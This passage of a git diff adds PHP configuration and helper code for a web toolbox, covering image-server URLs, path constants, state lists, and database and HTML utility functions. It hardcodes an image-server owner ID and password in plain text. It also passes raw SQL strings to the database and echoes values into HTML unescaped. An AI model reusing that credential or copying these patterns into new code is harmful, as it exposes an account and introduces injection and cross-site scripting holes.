+                       case 'html_quickform_rule_memberlogo' :
+                       case 'html_quickform_rule_memberfile' :
+                       case 'html_quickform_rule_amenity' :
+                       case 'html_quickform_rule_banner' :
+                               $path = explode('_', $className);
+                               $className = ucfirst(end($path));
+                               require_once GLM_APP_BASE . "glmPEAR/HTML/QuickForm/Rule/$className.php";
+                               break;
+
+                       default :
+                               //      Since our old naming conventions conflict w/ the pear
+                               //      naming conventions.
+                               //      Check to see what we're trying to call by checking if the
+                               //      file/class exits in the PEAR sturcture.
+                               $class = implode('/', explode('_', $className));
+                               if (file_exists(GLM_APP_BASE . "glmPEAR/$class.php")) {
+                                       require_once GLM_APP_BASE . "glmPEAR/$class.php";
+                               } elseif (file_exists(GLM_APP_BASE . "glmZend/1.10.2/library/$class.php")) {
+                                       require_once GLM_APP_BASE . "glmZend/1.10.2/library/$class.php";
+                               } elseif (file_exists(GLM_APP_BASE . "$class.php")) {
+                                       require_once GLM_APP_BASE . "$class.php";
+                               } elseif (file_exists(BASE . "$class.php")) {
+                                       require_once BASE . "$class.php";
+                               } else {
+                                       require_once BASE."classes/$className.php";
+                               }
+                               break;
+                       }
+               }
+       }
+    // }}}
+
+/**
+ * Description for define
+ */
+       define('GOOGLE',                                BASE.'google/');
+       // help guide base (depreciated)
+
+
+/**
+ * Description for define
+ */
+       define('HELP_BASE',                             'help/');
+       // uploads directory path
+
+
+/**
+ * Description for define
+ */
+       define('UP_BASE',                               BASE.'uploads/');
+       // the images url path
+
+
+/**
+ * Description for define
+ */
+       define('IMG_BASE',                              URL_BASE.'images/');
+       // postcard url (used for postcard app)
+
+
+/**
+ * Description for define
+ */
+       define('POSTCARD_URL',                  URL.'postcard.phtml');
+       // used in admin area as the path to image logo
+
+
+/**
+ * Description for define
+ */
+       define('LOGO_IMG',                              URL_BASE.'images/logoicon.gif');
+       // help image url (depriated)
+
+
+/**
+ * Description for define
+ */
+       define('HELP_IMG',                              URL_BASE.'images/help.gif');
+
+       $oldUmask = umask(0);
+       // Member uploaded files
+
+
+
+/**
+ * Description for define
+ */
+    umask($oldUmask);
+
+    // path for image manager in fckediter
+       if (!is_dir(BASE . 'images/ht_images')) {
+               mkdir(BASE . 'images/ht_images', 0770, true);
+       }
+       // Toolbox image paths
+
+
+/**
+ * Description for define
+ */
+       define('ORIGINAL_PATH',                 BASE.'images/original/');
+
+/**
+ * Description for define
+ */
+       define('RESIZED_PATH',                  BASE.'images/resized/');
+
+/**
+ * Description for define
+ */
+       define('MIDSIZED_PATH',                 BASE.'images/midsized/');
+
+/**
+ * Description for define
+ */
+       define('THUMB_PATH',                    BASE.'images/thumb/');
+
+       // Event image paths
+
+
+/**
+ * Description for define
+ */
+       define('EVENT_ORIGINAL_PATH',   BASE.'images/event_original/');
+
+/**
+ * Description for define
+ */
+       define('EVENT_RESIZED_PATH',    BASE.'images/event_resized/');
+
+/**
+ * Description for define
+ */
+       define('EVENT_MIDSIZED_PATH',   BASE.'images/event_midsized/');
+
+/**
+ * Description for define
+ */
+       define('EVENT_THUMB_PATH',              BASE.'images/event_thumb/');
+       //      Amenity icon path
+
+
+/**
+ * Description for define
+ */
+       define('AMENITY_PATH',                  BASE.'images/amenities/');
+
+    /**
+      * For our forms using Toolkit_Contacts_ContactUs as base
+      * The form will send it's data to StreamSend
+      * The defines for StreamSend must be set for client
+      */
+    define('STREAMSEND_FORMS_API', false);
+    /**
+      * Login Id for StreamSend account
+      */
+    define ('STREAMSEND_LOGIN_ID', 'Needsetup');
+    /**
+      * key for StreamSend account
+      */
+    define ('STREAMSEND_KEY', 'Needsetup');
+    /**
+      * StreamSend Account Name
+      */
+    define ('STREAMSEND_ACCOUNT_NAME', 'Needsetup');
+    /**
+      * StreamSend Audience Number
+      */
+    define ('STREAMSEND_AUDIENCE', '1');
+
+       $imageURLBase
+               = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on')
+               ? BASE_SECURE_URL
+               : BASE_URL;
+
+       // Toolbox image URLS
+    // Now using new Image Server
+    /**
+     * Now using new Image Server
+     * http://is0.gaslightmedia.com/admin
+     * setup new owner with owner_id and owner_pw
+     * MUST BE DONE BEFORE uploading any images
+     */
+    /**
+    * IS_OWNER_ID owner_id from image server config
+     */
+    define('IS_OWNER_ID', 'gasmed');
+    /**
+     * IS_OWNER_PW owner_pw from image server config
+     */
+    define('IS_OWNER_PW', 'keep4us2');
+    /**
+     * Toolbox image URLS
+     * NOTE: these don't change
+     * There are 4 global "image styles"
+     * original = used for original images no processing
+     * tbs1     = used to be resized
+     * tbs2     = used to be midsized
+     * tbs3     = used to be thumb
+     * check on http://is0.gaslightmedia.com/admin under owner _SYSTEM_
+     * for their sizes
+     * if you need a different size you'll need to create image style for
+     * your owner with new sizes just use one of set style names
+     * tbs1,tbs2,tbs3 (do this before uploading the image will help)
+     */
+    define('ORIGINAL', "http://is0.gaslightmedia.com/".IS_OWNER_ID."/original/");
+
+/**
+ * Description for define
+ */
+       define('RESIZED',  "http://is0.gaslightmedia.com/".IS_OWNER_ID."/tbs1/");
+
+/**
+ * Description for define
+ */
+       define('MIDSIZED', "http://is0.gaslightmedia.com/".IS_OWNER_ID."/tbs2/");
+
+/**
+ * Description for define
+ */
+    define('THUMB',    "http://is0.gaslightmedia.com/".IS_OWNER_ID."/tbs3/");
+
+    define('PORTFOLIO',    "http://is0.gaslightmedia.com/".IS_OWNER_ID."/portfolio/");
+    //  Toolbox image rules
+    define('TOOLBOX_ORIGINAL', ORIGINAL);
+    define('TOOLBOX_RESIZED', RESIZED);
+    define('TOOLBOX_MIDSIZED', MIDSIZED);
+    define('TOOLBOX_THUMB', THUMB);
+    $fileServerUrl
+       = ($_SERVER['HTTPS'] == 'on')
+       ? 'https://is0.gaslightmedia.com/'
+       : 'http://is0.gaslightmedia.com/';
+    define('FILE_SERVER_URL', $fileServerUrl);
+
+    define('IMAGE_MANAGER', FILE_SERVER_URL.IS_OWNER_ID."/imgMgr/");
+   //  CKImage image rules
+   /**
+    * This is the rule used to create the Maximum Allowed Size image
+    * we allow for CKEditor Images, which is (700x500)
+    *
+    * If the user resizes (edits) the image, it can be smaller
+    */
+   define('CKIMAGE', FILE_SERVER_URL.IS_OWNER_ID."/CKImage/");
+   define('CKIMAGE_ORIGINAL', TOOLBOX_ORIGINAL);
+   define('CKIMAGE_RESIZED', TOOLBOX_RESIZED);
+   define('CKIMAGE_MIDSIZED', TOOLBOX_MIDSIZED);
+   define('CKIMAGE_THUMB', TOOLBOX_THUMB);
+       /**
+        * These are defines for the photo gallery images
+     * NOTICE these are now on image server
+     * There are 2 global "image styles"
+     * pgs1 = used to be photo-large
+     * pgs2 = used to be photo-small
+     * check on http://is0.gaslightmedia.com/admin under owner _SYSTEM_
+     * for their sizes
+        */
+       define('PHOTO_LARGE_URL',       "http://is0.gaslightmedia.com/".IS_OWNER_ID."/pgs1/");
+
+/**
+ * Description for define
+ */
+       define('PHOTO_SMALL_URL',       "http://is0.gaslightmedia.com/".IS_OWNER_ID."/pgs2/");
+
+       //      Member image URLS
+
+
+/**
+ * Description for define
+ */
+       define('MEMBER_ORIGINAL',       "http://is0.gaslightmedia.com/".IS_OWNER_ID."/original/");
+
+/**
+ * Description for define
+ */
+       define('MEMBER_RESIZED',        "http://is0.gaslightmedia.com/".IS_OWNER_ID."/memberResized/");
+
+/**
+ * Description for define
+ */
+       define('MEMBER_MIDSIZED',       "http://is0.gaslightmedia.com/".IS_OWNER_ID."/memberMidsized/");
+
+/**
+ * Description for define
+ */
+       define('MEMBER_THUMB',          "http://is0.gaslightmedia.com/".IS_OWNER_ID."/memberThumb/");
+
+/**
+ * Description for define
+ */
+       define('MEMBER_PHOTOS',         "http://is0.gaslightmedia.com/".IS_OWNER_ID."/memberPhotos/");
+
+/**
+ * Description for define
+ */
+       define('MEMBER_PACKAGES',       "http://is0.gaslightmedia.com/".IS_OWNER_ID."/memberResized/");
+
+       //      Event image URLS
+
+
+/**
+ * Description for define
+ */
+       define('EVENT_ORIGINAL',        "{$imageURLBase}images/event_original/");
+
+/**
+ * Description for define
+ */
+       define('EVENT_RESIZED',         "{$imageURLBase}images/event_resized/");
+
+/**
+ * Description for define
+ */
+       define('EVENT_MIDSIZED',        "{$imageURLBase}images/event_midsized/");
+
+/**
+ * Description for define
+ */
+       define('EVENT_THUMB',           "{$imageURLBase}images/event_thumb/");
+       //      Amenity image URLS
+
+
+/**
+ * Description for define
+ */
+       define('AMENITY_THUMB',         "{$imageURLBase}images/amenities/");
+       //      Icon image URLS
+
+
+/**
+ * Description for define
+ */
+       define('ICONS_URL',                     "{$imageURLBase}images/");
+
+       /**
+        * These are the image sizing defines USE THESE ONLY
+        * only allowed string of 'WxH[<>]' [-quality Percentage]
+        */
+
+    // DEPRECIATED
+       define('ITEM_RESIZED',                  "'287>'");
+
+/**
+ * Description for define
+ */
+       define('ITEM_MIDSIZED',                 "'210>'");
+
+/**
+ * Description for define
+ */
+       define('ITEM_THUMB',                    "'120>'");
+       // DEPRECIATED
+
+
+/**
+ * Description for define
+ */
+       define('MEMBER_ITEM_RESIZED',   "'270>'");
+
+/**
+ * Description for define
+ */
+       define('MEMBER_ITEM_MIDSIZED',  '75');
+
+/**
+ * Description for define
+ */
+       define('MEMBER_ITEM_THUMB',             '60');
+
+/**
+ * Description for define
+ */
+       define('MEMBER_ITEM_PHOTOS',    "100");
+
+/**
+ * Description for define
+ */
+       define('FOOTER_IMG',    URL_BASE.'images/logosmall.gif');
+
+/**
+ * Description for define
+ */
+       define('FOOTER_URL',    URL_BASE);
+
+/**
+ * Description for define
+ */
+       define('STYLE',                 'main.css');
+
+    /**
+      * CUSTOMER_SETUP_COMPLETE
+      *
+      * The Developer when setting up the initial site must walk through all defines above and
+      * set them accordingly.  When complete set this define to true.
+      */
+    define('CUSTOMER_SETUP_COMPLETE', true);
+
+       // [status_US] array of states and their abbr.
+       $states_US['']   = '-- Select --';// {{{
+       $states_US['AL'] = 'Alabama';
+       $states_US['AK'] = 'Alaska';
+       $states_US['AZ'] = 'Arizona';
+       $states_US['AR'] = 'Arkansas';
+       $states_US['CA'] = 'California';
+       $states_US['CO'] = 'Colorado';
+       $states_US['CT'] = 'Connecticut';
+       $states_US['DE'] = 'Delaware';
+       $states_US['DC'] = 'District of Columbia';
+       $states_US['FL'] = 'Florida';
+       $states_US['GA'] = 'Georgia';
+       $states_US['HI'] = 'Hawaii';
+       $states_US['ID'] = 'Idaho';
+       $states_US['IL'] = 'Illinois';
+       $states_US['IN'] = 'Indiana';
+       $states_US['IA'] = 'Iowa';
+       $states_US['KS'] = 'Kansas';
+       $states_US['KY'] = 'Kentucky';
+       $states_US['LA'] = 'Louisiana';
+       $states_US['ME'] = 'Maine';
+       $states_US['MD'] = 'Maryland';
+       $states_US['MA'] = 'Massachusetts';
+       $states_US['MI'] = 'Michigan';
+       $states_US['MN'] = 'Minnesota';
+       $states_US['MS'] = 'Mississppi';
+       $states_US['MO'] = 'Missouri';
+       $states_US['MT'] = 'Montana';
+       $states_US['NE'] = 'Nebraska';
+       $states_US['NV'] = 'Nevada';
+       $states_US['NH'] = 'New Hampshire';
+       $states_US['NJ'] = 'New Jersey';
+       $states_US['NM'] = 'New Mexico';
+       $states_US['NY'] = 'New York';
+       $states_US['NC'] = 'North Carolina';
+       $states_US['ND'] = 'North Dakota';
+       $states_US['OH'] = 'Ohio';
+       $states_US['OK'] = 'Oklahoma';
+       $states_US['OR'] = 'Oregon';
+       $states_US['PA'] = 'Pennsylvania';
+       $states_US['RI'] = 'Rhode Island';
+       $states_US['SC'] = 'South Carolina';
+       $states_US['SD'] = 'South Dakota';
+       $states_US['TN'] = 'Tennessee';
+       $states_US['TX'] = 'Texas';
+       $states_US['UT'] = 'Utah';
+       $states_US['VT'] = 'Vermont';
+       $states_US['VA'] = 'Virginia';
+       $states_US['WA'] = 'Washington';
+       $states_US['WV'] = 'West Virginia';
+       $states_US['WI'] = 'Wisconsin';
+       $states_US['WY'] = 'Wyoming';// }}}
+
+       // [states] extended states array
+       $states['AB'] = 'Alberta';// {{{
+       $states['AS'] = 'American Samoa';
+       $states['BC'] = 'British Columbia';
+       $states['DC'] = 'District of Columbia';
+       $states['FM'] = 'Federated States of Micronesia';
+       $states['GU'] = 'Guam';
+       $states['MB'] = 'Manitoba';
+       $states['MH'] = 'Marshall Islands';
+       $states['NB'] = 'New Brunswick';
+       $states['NF'] = 'Newfoundland';
+       $states['MP'] = 'Northern Mariana Islands';
+       $states['NT'] = 'Northwest Territories';
+       $states['NS'] = 'Nova Scotia';
+       $states['ON'] = 'Ontario';
+       $states['PW'] = 'Palau';
+       $states['PE'] = 'Prince Edward Island';
+       $states['PR'] = 'Puerto Rico';
+       $states['QC'] = 'Quebec';
+       $states['SK'] = 'Saskatchewan';
+       $states['VI'] = 'Virgin Islands';
+       $states['YT'] = 'Yukon';// }}}
+
+       //      Merge the 50 US states together with some of the extended
+       //      provinces / territories and then sort them on their keys
+       //      Then add the remaining countries and areas at the end
+       //      of the array.
+       $states = $states_US + $states;
+       ksort($states);
+       $states = $states + array(// {{{
+               'Asia'                  => 'Asia',
+               'Australia'             => 'Australia',
+               'Bahamas'               => 'Bahamas',
+               'Caribbean'             => 'Caribbean',
+               'Costa Rica'    => 'Costa Rica',
+               'South America' => 'South America',
+               'South Africa'  => 'South Africa',
+               'Europe'                => 'Europe',
+               'Mexico'                => 'Mexico',
+       );// }}}
+
+       // Libraries
+       // Replaced with the actual functions instead of includes (2001-12-14)
+
+       $cp1252_map = array(
+               "\xc2\x80" => "\xe2\x82\xac",   //      EURO SIGN
+               "\xc2\x82" => "\xe2\x80\x9a",   //      SINGLE LOW-9 QUOTATION MARK
+               "\xc2\x83" => "\xc6\x92",               //      LATIN SMALL LETTER F WITH HOOK
+               "\xc2\x84" => "\xe2\x80\x9e",   //      DOUBLE LOW-9 QUOTATION MARK
+               "\xc2\x85" => "\xe2\x80\xa6",   //      HORIZONTAL ELLIPSIS
+               "\xc2\x86" => "\xe2\x80\xa0",   //      DAGGER
+               "\xc2\x87" => "\xe2\x80\xa1",   //      DOUBLE DAGGER
+               "\xc2\x88" => "\xcb\x86",               //      MODIFIER LETTER CIRCUMFLEX ACCENT
+               "\xc2\x89" => "\xe2\x80\xb0",   //      PER MILLE SIGN
+               "\xc2\x8a" => "\xc5\xa0",               //      LATIN CAPITAL LETTER S WITH CARON
+               "\xc2\x8b" => "\xe2\x80\xb9",   //      SINGLE LEFT-POINTING ANGLE QUOTATION
+               "\xc2\x8c" => "\xc5\x92",               //      LATIN CAPITAL LIGATURE OE
+               "\xc2\x8e" => "\xc5\xbd",               //      LATIN CAPITAL LETTER Z WITH CARON
+               "\xc2\x91" => "\xe2\x80\x98",   //      LEFT SINGLE QUOTATION MARK
+               "\xc2\x92" => "\xe2\x80\x99",   //      RIGHT SINGLE QUOTATION MARK
+               "\xc2\x93" => "\xe2\x80\x9c",   //      LEFT DOUBLE QUOTATION MARK
+               "\xc2\x94" => "\xe2\x80\x9d",   //      RIGHT DOUBLE QUOTATION MARK
+               "\xc2\x95" => "\xe2\x80\xa2",   //      BULLET
+               "\xc2\x96" => "\xe2\x80\x93",   //      EN DASH
+               "\xc2\x97" => "\xe2\x80\x94",   //      EM DASH
+
+               "\xc2\x98" => "\xcb\x9c",               //      SMALL TILDE
+               "\xc2\x99" => "\xe2\x84\xa2",   //      TRADE MARK SIGN
+               "\xc2\x9a" => "\xc5\xa1",               //      LATIN SMALL LETTER S WITH CARON
+               "\xc2\x9b" => "\xe2\x80\xba",   //      SINGLE RIGHT-POINTING ANGLE QUOTATION
+               "\xc2\x9c" => "\xc5\x93",               //      LATIN SMALL LIGATURE OE
+               "\xc2\x9e" => "\xc5\xbe",               //      LATIN SMALL LETTER Z WITH CARON
+               "\xc2\x9f" => "\xc5\xb8",               //      LATIN CAPITAL LETTER Y WITH DIAERESIS
+       );
+
+    if (!$dont_include_functions) {
+
+    /**
+     * all setup function in setup_functions.phtml
+     */
+        require_once BASE_PATH . "setup_functions.phtml";
+    }
+
+}
+?>
diff --git a/setup_functions.phtml b/setup_functions.phtml
new file mode 100644 (file)
index 0000000..f58536a
--- /dev/null
@@ -0,0 +1,1560 @@
+<?php
+/** @header Gaslight Media Toolbox
+  functions that were in the functions.inc
+ */
+
+       /**
+        * is_utf8 
+        * 
+        * @param mixed $string 
+        * @access public
+        * @return void
+        */
+       function is_utf8($string)
+       {
+               return preg_match('/^([\x00-\x7f]|[\xc2-\xdf][\x80-\xbf]|\xe0[\xa0-\xbf][\x80-\xbf]|[\xe1-\xec][\x80-\xbf]{2}|\xed[\x80-\x9f][\x80-\xbf]|[\xee-\xef][\x80-\xbf]{2}|f0[\x90-\xbf][\x80-\xbf]{2}|[\xf1-\xf3][\x80-\xbf]{3}|\xf4[\x80-\x8f][\x80-\xbf]{2})*$/', $string) === 1;
+       }
+
+       /**
+        * cp1252_to_utf8 
+        * 
+        * @param mixed $str 
+        * @access public
+        * @return void
+        */
+       function cp1252_to_utf8($str)
+       {
+               global $cp1252_map;
+               return  strtr(utf8_encode($str), $cp1252_map);
+       }
+
+       /**
+        * myEncode 
+        * 
+        * @param mixed $string 
+        * @access public
+        * @return void
+        */
+       function myEncode($string)
+       {
+               if (is_utf8($string)) {
+                       return $string;
+               } else {
+                       return cp1252_to_utf8($string);
+               }
+       }       
+
+       /**
+        * CreditVal : CreditVal Checks for a valid credit card number doing Luhn check, if no
+        card type is given, attempts to guess. Then, if a list of
+        accepted types is given, determines whether or not we'll
+        accept it
+        * @param $Num: Credit Card Number
+        * @param $Name = '': Type of Card
+        * @param $Accepted='' : Accepted array
+        * 
+        * @return bool 
+        * @access 
+        **/
+       function CreditVal($Num, $Name = '', $Accepted = '')
+       { 
+               $Name = strtolower($Name);
+               $Accepted = strtolower($Accepted);
+               $GoodCard = 1;
+               $Num = ereg_replace('[^[:digit:]]', '', $Num); 
+               switch ($Name) { 
+               case 'mastercard' : 
+                       $GoodCard = ereg('^5[1-5].{14}$', $Num); 
+                       break; 
+
+               case 'visa' : 
+                       $GoodCard = ereg('^4.{15}$|^4.{12}$', $Num); 
+                       break; 
+
+               case 'americanexpress' : 
+                       $GoodCard = ereg('^3[47].{13}$', $Num); 
+                       break; 
+
+               case 'discover' : 
+                       $GoodCard = ereg('^6011.{12}$', $Num); 
+                       break; 
+
+               case 'dinerscard' : 
+                       $GoodCard = ereg('^30[0-5].{11}$|^3[68].{12}$', $Num); 
+                       break;
+
+               default:
+                       if (ereg('^5[1-5].{14}$', $Num)) {
+                               $Name = 'mastercard';
+                       }
+                       if (ereg('^4.{15}$|^4.{12}$', $Num)){ 
+                               $Name = 'visa';
+                       }
+                       if (ereg('^3[47].{13}$', $Num)) {
+                               $Name = 'americanexpress';
+                       }
+                       if (ereg('^6011.{12}$', $Num)) {
+                               $Name = 'discover';
+                       }
+                       if (ereg('^30[0-5].{11}$|^3[68].{12}$', $Num)) {
+                               $Name = 'dinerscard';
+                       }
+                       break;
+               } 
+
+               // If there's a limit on card types we accept, check for it here.
+               if ($Accepted) {
+                       $type_verified = false;
+                       $brands = explode_trim(',', $Accepted);
+                       foreach ($brands as $brand) {
+                               if ($Name == $brand)
+                                       $type_verified = true;
+                       }
+
+                       if (!$type_verified) {
+                               return false;
+                       }
+               }
+
+               $Num = strrev($Num); 
+
+               $Total = 0; 
+
+               for ($x = 0; $x < strlen($Num); ++$x) { 
+                       $digit = substr($Num, $x, 1); 
+                       if ($x / 2 != floor($x / 2)) { 
+                               $digit *= 2; 
+                               if (strlen($digit) == 2)  
+                                       $digit = substr($digit, 0, 1) + substr($digit, 1, 1); 
+                       } 
+                       $Total += $digit; 
+               } 
+               return ($GoodCard && (($Total % 10) == 0)) ? true : false;
+       }
+       // DataBase Library
+
+       /**
+        * db_connect :Creates a connection to database specified $conn_str
+        * @param $conn="" : connection string
+        * 
+        * @return index or bool 
+        * @access 
+        **/
+       function db_connect($conn = '')
+       {
+               switch (DB_TYPE) {
+               case 'postgres' :
+                       if ($conn == '')
+                       $conn = CONN_STR;
+                       $ret = pg_connect($conn);
+                       break;
+
+               default:
+                       return 0;
+                       break;
+               }
+               return $ret;
+       }
+
+       /**
+        * db_close :Closes the connection to database specified by the handle dbd      
+        * @param $$dbd : database handle 
+        * 
+        * @return bool 
+        * @access 
+        **/
+       function db_close($dbd)
+       {
+               switch (DB_TYPE) {
+               case 'postgres' :
+                       $ret = pg_close($dbd);
+                       break;
+
+               default:
+                       return 0;
+                       break;
+               }
+               return $ret;
+       }
+
+       /**
+         NOTICE DON'T USE THIS
+        * db_pconnect :Creates a persistant connection to database specified in $conn_str
+        * @param $$conn="" : connection string 
+        * 
+        * @return 
+        * @access 
+        **/
+       function db_pconnect($conn = '')
+       {
+               return false;
+               switch (DB_TYPE) {
+               case 'postgres' :
+                       if($conn == '')
+                               $conn == CONN_STR;
+                       $ret = pg_pconnect($conn);
+                       break;
+
+               default:
+                       return 0;
+                       break;
+               }
+               return $ret;
+       }
+
+       /**
+        * db_exec : Execute an SQL query
+        * @param $dbd: database handle 
+        * @param $$qs : Query
+        * 
+        * @return int Returns a valid result index on success 0 on failure
+        * @access 
+        **/
+       function db_exec($dbd, $qs)
+       {
+               switch (DB_TYPE) {
+               case 'postgres' :
+                       $ret = pg_exec($dbd, $qs);
+                       break;
+
+               default:
+                       return 0;
+                       break;
+               }
+               return $ret;
+       }
+
+       /**
+        * db_fetch_array :Stores the data in associative indices, using the field names as     
+        * keys.
+        * @param $res: valid database result index
+        * @param $i: row number
+        * @param $$type : database type 
+        * 
+        * @return array Returns an associative array of key-value pairs
+        * @access 
+        **/
+       function db_fetch_array($res, $i, $type)
+       {
+               switch (DB_TYPE) {
+               case 'postgres' :
+                       $row = pg_fetch_array($res, $i, $type);
+                       break;
+
+               default:
+                       return 0;
+                       break;
+               }
+               return $row;
+       }
+
+       /**
+        * db_freeresult :Free result memory.
+        * @param $$res : valid database result index
+        * 
+        * @return bool - Returns 1 for success 0 for failure
+        * @access 
+        **/
+       function db_freeresult($res)
+       {
+               switch (DB_TYPE) {
+               case 'postgres' :
+                       $ret = pg_freeresult($res);
+                       break;
+
+               default:
+                       return 0;
+                       break;
+               }
+               return $ret;
+       }
+
+       /**
+        * db_numrows :Determine number of rows in a result index
+        * @param $$res : valid database result index
+        * 
+        * @return int - Returns number of rows
+        * @access 
+        **/
+       function db_numrows($res)
+       {
+               switch (DB_TYPE) {
+               case 'postgres' :
+                       $ret = pg_numrows($res);
+                       break;
+
+               default:
+                       return -1;
+                       break;
+               }
+               return $ret;
+       }
+
+       /************************************************************************
+        *                                                                                                                                              *
+        * BEGIN Auto functions                                                                                                 *
+        *                                                                                                                                              *
+        ***********************************************************************/
+
+       /**
+        * db_auto_array :The auto function for retrieving an array based soley on a query      
+        * string. This function makes the connection, does the exec, fetches   
+        * the array, closes the connection, frees memory used by the result,   
+        * and then returns the array
+        * @param $qs: SQL query string
+        * @param $i: row number
+        * @param $$type : PGSQL_ASSOC or PGSQL_BOTH or PSQL_NUM
+        * 
+        * @return array - Returns an associative array of key-value pairs
+        * @access 
+        **/
+       function db_auto_array($qs, $i, $type)
+       {
+               $dbd = db_connect();
+               if (!$dbd) {
+                       return 0;
+               }
+               $res = db_exec($dbd, $qs);
+               if (!$res) {
+                       return 0;
+               }
+               $row = db_fetch_array($res, $i, $type);
+               if (!db_freeresult($res)) {
+                       return 0;
+               }
+               db_close($dbd);
+               return $row;
+       }
+
+       /**
+        * db_auto_exec :The auto function for executing a query.                               
+        * This function makes the connection, does the exec, fetches           
+        * the array, closes the connection, frees memory used by the result,   
+        * and then returns success (not a valid result index)
+        * @param $qs: SQL query string
+        * @param $$conn="" : Connect String
+        * 
+        * @return int - Returns 1 (or oid, if available) for success 0 for failure
+        * @access 
+        **/
+       function db_auto_exec($qs, $conn = '')
+       {
+               if ($conn == ''){
+                       $conn = CONN_STR;
+               }
+               $dbd = db_connect($conn);
+               if (!$dbd) {
+                       return 0;
+               }
+               if (!db_exec($dbd, $qs)) {
+                       db_close($dbd);
+                       return 0;
+               } else {
+                       db_close($dbd);
+                       return 1;
+               }
+       }
+
+       /**
+        * db_auto_get_data :The auto function for retrieving an array based soley on a query   
+        string. This function makes the connection, does the exec, fetches     
+        the array, closes the connection, frees memory used by the result,     
+        and then returns the array
+        * @param $qs:  SQL query string
+        * @param $CONN_STR: Connect String
+        * @param $$fail_mode=0 : Failure Mode
+        * 
+        * @return array Returns an associative array of key-value pairs
+        * @access 
+        **/
+       function db_auto_get_data($qs, $conn = CONN_STR, $fail_mode = 0) {
+
+               if (!($dbd = db_connect($conn))) {
+                       return false;
+               }
+
+               if (!($res = db_exec($dbd, $qs))) {
+                       return false;
+               }
+
+               $totalrows = pg_NumRows($res);
+
+               for ($i = 0 ; $i < $totalrows; ++$i) {
+                       $data[$i] = db_fetch_array($res, $i, PGSQL_ASSOC);
+               }
+
+               db_close($dbd);
+               return (isset($data) && $data != '') ? $data : 0;
+       }
+
+       //      HTML Libraries
+
+       /**
+        * html_footer :Generates a footer table on the bottom of the page it's called on.      
+        and closes out the body and html tags.
+        * 
+        * @return void 
+        * @access 
+        **/
+       function html_footer()
+       {
+               $footer_table_width = '400';
+               $footer_table_align = 'center';
+               ?>
+                       <hr>
+                       <table width="<?php echo $footer_table_width?>"
+                               align="<?php echo $footer_table_align?>"
+                               summary="Footer Information" class="footertable" cellspacing="0">
+                               <tr>
+                                       <td align="left" class="footertd">
+                                               <a href="mailto:<?php echo MASTER_EMAIL;?>"><?php echo MASTER;?></a>
+                                       </td>
+                                       <td align="right" class="footertd">
+                                               <a href="<?php echo FOOTER_URL;?>" target="new">
+                                               <img src="<?php echo FOOTER_IMG;?>" border=0 alt="FOOTER_IMG"></a>
+                                       </td>
+                               </tr>
+                       </table>
+                       </body>
+                       </html>
+                       <?php
+                       //      We've got to terminate any more output
+                       exit;
+       }
+
+       /**
+        * html_error :Generates a footer table on the bottom of the page it's called on.       
+        and closes out the body and html tags.
+        * @param $msg: string error message to be displayed
+        * @param $$bail : bool whether or not to exit() after $msg
+        * 
+        * @return void 
+        * @access 
+        **/
+       function html_error($msg, $bail)
+       {
+               ?>
+                       <table summary="Error Information" class="errortable" cellspacing="0">
+                               <tr class="errortr">
+                                       <td class="errortd">
+                                               <div class="errormsg"><?echo "<pre>$msg</pre>"?></div>
+                                       </td>
+                               </tr>
+                       </table>
+
+                       <?php
+                       if ($bail) {
+                               html_footer();
+                       }
+       }
+
+       /**
+        * html_nav_table :Generates a navigation table on the page it's called on.
+        * @param $nav: associative array with entries like:$nav[text][url]
+        * @param $$w : max width of table
+        * 
+        * @return void 
+        * @access 
+        **/
+       function html_nav_table($nav, $w)
+       {
+               if (is_array($nav)) {
+                       $out = '<ul class="admin_nav">';
+                       foreach ($nav as $link => $url) {
+                               if (is_array($url)) {
+                                       $out .= '<li><a href="'.$url[0].'" '.$url[1].'>'.$link.'</a></li>';
+                               } else {
+                                       $out .= '<li><a href="'.$url.'">'.$link.'</a></li>';
+                               }
+                       }
+                       $out .= '</ul>';
+               }
+               echo $out;
+       }
+
+       /**
+        * html_header :Opens up the html tags, and includes the style sheet link                       
+        generates a header table on the top of the page it's called on.
+        * @param $title: Page Title 
+        * @param $msg: message to display 
+        * @param $$img : image to display
+        * 
+        * @return void 
+        * @access 
+        **/
+       function html_header($title, $msg, $img)
+       {
+               $header_table_width = '400';
+               $header_table_align = 'center';
+               ?>
+                       <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+                       "http://www.w3.org/TR/html4/loose.dtd">
+                       <html>
+                       <head>
+                               <title><?php echo $title?></title>
+                               <link type="text/css" rel=stylesheet href="<?php echo STYLE;?>">
+                       </head>
+                       <body>
+                               <table width="<?php echo $header_table_width?>"
+                                       align="<?echo $header_table_align?>"
+                                       summary="Header Information" class="headertable"
+                                       cellspacing="0" cellpadding="3">
+                                       <tr class="headertr">
+                                               <td class="headertd">
+                                                       <?php if($img) : ?>
+                                                       <img src="<?php echo IMG_BASE.$img;?>"
+                                                               alt="<?php echo HEAD;?>" border="0">
+                                                       <?php endif; ?>
+                                               </td>
+                                       </tr>
+                                       <tr>
+                                               <td class="headertd2" align="center">
+                                                       <div class="headerh2" align="center">
+                                                               <?php echo $msg;?>
+                                                       </div>
+                                               </td>
+                                       </tr>
+                               </table>
+                       <?php
+       }
+
+       /**
+        * form_header :Opens up the form tag, and includes the hidden assoc array as hidden    
+        fields.
+        * @param $action: string form action string
+        * @param $method: string Method of form
+        * @param $$hidden = "" : assoc array with $hidden($name => $value)
+        * 
+        * @return void 
+        * @access 
+        **/
+       function form_header($action, $method, $hidden = '')
+       {
+               echo '<form action="'.$action.'" method="'.$method.'" 
+                       enctype="multipart/form-data">';
+               if ($hidden != '' && is_array($hidden)) {               
+                       foreach ($hidden as $k => $v) {
+                               echo '<input type="hidden" name="'.$k.'" value="'.$v.'">';
+                       }
+               }
+       }
+
+       /**
+        * text_area :Creates textarea with good default values for rows cols and wrap.
+        * @param $name: string form action string
+        * @param $value: string Method of form
+        * @param $$rows = 15: int4 number of rows in textarea box
+        * @param $$cols = 50: int4 number of cols in textarea box
+        * @param $$wrap = "virtual"  : string the wrap value for the textarea box
+        * 
+        * @return void 
+        * @access 
+        **/
+       function text_area($name, $value, $rows = 15, $cols = 50, $wrap = 'virtual')
+       {
+               require_once BASE . 'fckeditor/fckeditor.php';
+               $oFCKeditor = new FCKeditor($name);
+               $oFCKeditor->BasePath = BASE_URL . 'fckeditor/';
+               $oFCKeditor->Width = '570';
+               $oFCKeditor->Height = '400';
+               $oFCKeditor->Value = $value;
+               echo '<td>';
+               $oFCKeditor->Create();
+               echo '</td>';
+       }
+
